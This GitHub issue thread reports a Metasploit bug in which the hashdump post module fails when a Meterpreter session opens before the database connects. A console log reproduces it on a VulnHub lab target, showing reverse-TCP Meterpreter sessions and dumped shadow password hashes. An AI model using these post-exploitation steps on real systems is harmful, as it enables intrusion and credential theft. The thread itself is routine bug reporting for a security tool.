bcoles
commented
4 years ago This bug is triggered by receiving a session before connecting to the database, as the database does not recognize the session.
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > db_connect msf:msf@127.0.0.1/msf
Connected to Postgres data service: 127.0.0.1/msf
msf5 exploit(multi/handler) >
[*] Sending stage (3021284 bytes) to 172.16.191.219
[*] Meterpreter session 1 opened (172.16.191.165:1337 -> 172.16.191.219:35876) at 2020-03-19 11:11:43 -0400
msf5 exploit(multi/handler) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
msf5 exploit(multi/handler) > use post/linux/gather/hashdump
msf5 post(linux/gather/hashdump) > set session 1
session => 1
msf5 post(linux/gather/hashdump) > run
[+] root:$6$kipdExP613ycWou9$hEfzDzscbvosyHZvTYneo3qo49VOQPQvDeXsy2WHpVzv1GRyYxylgTzvphXdFg554asOM9Q2q7qEGsaT4MnEq/:0:0:root:/root:/bin/bash
[+] moss:$6$ZKX2L7fJTvFO2Ved$qrJBD8SErjEjIeT.KIqmvgENAnjTQH6mCyQMLey7aMn31uiD0szjhrq8EL6gnJkK5sHzxHEHGyJqbiwI6iUHx0:1001:1001:Maurice Moss:/home/moss:/bin/bash
[+] roy:$6$Uh0q/F52PTqJQrvA$VDzEEwsd.6PiGP44dBVDbMj10IjIrCdB0qg.e36A0cW24jSVtB3PcD6YokG57hZxLs89Fx0NvWlN63.uMaac./:1002:1002:Roy Trenneman:/home/roy:/bin/bash
[+] jen:$6$oUJMVFRFI4qds92b$FIP4hsXcnEa2sHT/NyVnxi/PeMc9Kc5r7Sd/dNGyWW.7OS6nz6OinTyPAaQf5h6oxYDNz/7Cex0Gyo5EJ9OPo0:1003:1003:Jen Barber:/home/jen:/bin/bash
[+] richmond:$6$9ezwkGRwZkwCcNVu$xSeVVsn7c6jN3DwygvTqS7BT1QNjFemNVEwb6pZNCu3V2IvjUcMULhxgZ67Y/KfVSpfvoWi5Q/6fTMP9nRLty1:1004:1004:Richmond Avenal:/home/richmond:/bin/bash
[+] douglas:$6$XyRmT1iTa7FHKynm$qYVWeN85.Yaj7IpMrt0flV221BCj5WhZeCBsqryZo/DgoP/GEyekTZ6s.Q.N3lJfaiwnT5SxlWxm6m59Lg4d91:1005:1005:Douglas Reynholm:/home/douglas:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20200319111156_default_172.16.191.219_linux.hashes_205721.txt
[*] Post module execution completed
msf5 post(linux/gather/hashdump) > sessions -K
[*] Killing all sessions...
[*] 172.16.191.219 - Meterpreter session 1 closed.
msf5 post(linux/gather/hashdump) > db_disconnect
Successfully disconnected from the data service: local_db_service.
msf5 post(linux/gather/hashdump) > creds
[-] Database not connected
msf5 post(linux/gather/hashdump) >
[*] Sending stage (3021284 bytes) to 172.16.191.219
[*] Meterpreter session 2 opened (172.16.191.165:1337 -> 172.16.191.219:35878) at 2020-03-19 11:12:38 -0400
msf5 post(linux/gather/hashdump) > db_connect msf:msf@127.0.0.1/msf
Connected to Postgres data service: 127.0.0.1/msf
msf5 post(linux/gather/hashdump) > set session 2
session => 2
msf5 post(linux/gather/hashdump) > run
[-] Post failed: ActiveRecord::RecordInvalid Validation failed: Session can't be blank
[-] Call stack:
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/validations.rb:79:in `raise_record_invalid'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/validations.rb:43:in `save!'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/attribute_methods/dirty.rb:29:in `save!'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/transactions.rb:291:in `block in save!'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/transactions.rb:351:in `block in with_transaction_returning_status'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/connection_adapters/abstract/database_statements.rb:213:in `block in transaction'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/connection_adapters/abstract/transaction.rb:184:in `within_new_transaction'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/connection_adapters/abstract/database_statements.rb:213:in `transaction'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/transactions.rb:220:in `transaction'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/transactions.rb:348:in `with_transaction_returning_status'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/transactions.rb:291:in `save!'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/persistence.rb:51:in `create!'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/relation.rb:151:in `block in create!'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/relation.rb:302:in `scoping'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/relation.rb:151:in `create!'
[-] /var/lib/gems/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/relation.rb:159:in `first_or_create!'
[-] /var/lib/gems/2.5.0/gems/metasploit-credential-3.0.4/lib/metasploit/credential/creation.rb:448:in `block in create_credential_origin_session'
[-] /var/lib/gems/2.5.0/gems/metasploit-credential-3.0.4/lib/metasploit/credential/creation.rb:623:in `retry_transaction'
[-] /var/lib/gems/2.5.0/gems/metasploit-credential-3.0.4/lib/metasploit/credential/creation.rb:447:in `create_credential_origin_session'
[-] /var/lib/gems/2.5.0/gems/metasploit-credential-3.0.4/lib/metasploit/credential/creation.rb:360:in `create_credential_origin'
[-] /var/lib/gems/2.5.0/gems/metasploit-credential-3.0.4/lib/metasploit/credential/creation.rb:119:in `create_credential'
[-] /root/Desktop/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:6:in `block in create_credential'
[-] /root/Desktop/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:166:in `data_service_operation'
[-] /root/Desktop/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:5:in `create_credential'
[-] /root/Desktop/metasploit-framework/lib/msf/core/auxiliary/report.rb:36:in `create_credential'
[-] /root/Desktop/metasploit-framework/modules/post/linux/gather/hashdump.rb:69:in `block in run'
[-] /root/Desktop/metasploit-framework/modules/post/linux/gather/hashdump.rb:51:in `each_line'
[-] /root/Desktop/metasploit-framework/modules/post/linux/gather/hashdump.rb:51:in `run'
[*] Post module execution completed
msf5 post(linux/gather/hashdump) > 
ccondon-r7
github-actions[bot]
friedrico
tekn0x
derekkddj
nga1hte
Steps to reproduce
Open a root meterpreter session with an ELF
linux/x64/meterpreter/reverse_tcpon a Debian 10.1 x64 target (Five86-1 from VulnHub).Attempt to use
post/linux/gather/hashdumpwhich failedExpected behavior
It should dump hashes from target, and loot them in database.
Current behavior
System stuff
Metasploit version
Framework: 5.0.72-devConsole : 5.0.72-devI installed Metasploit with:
OS
Kali 2020.1fresh install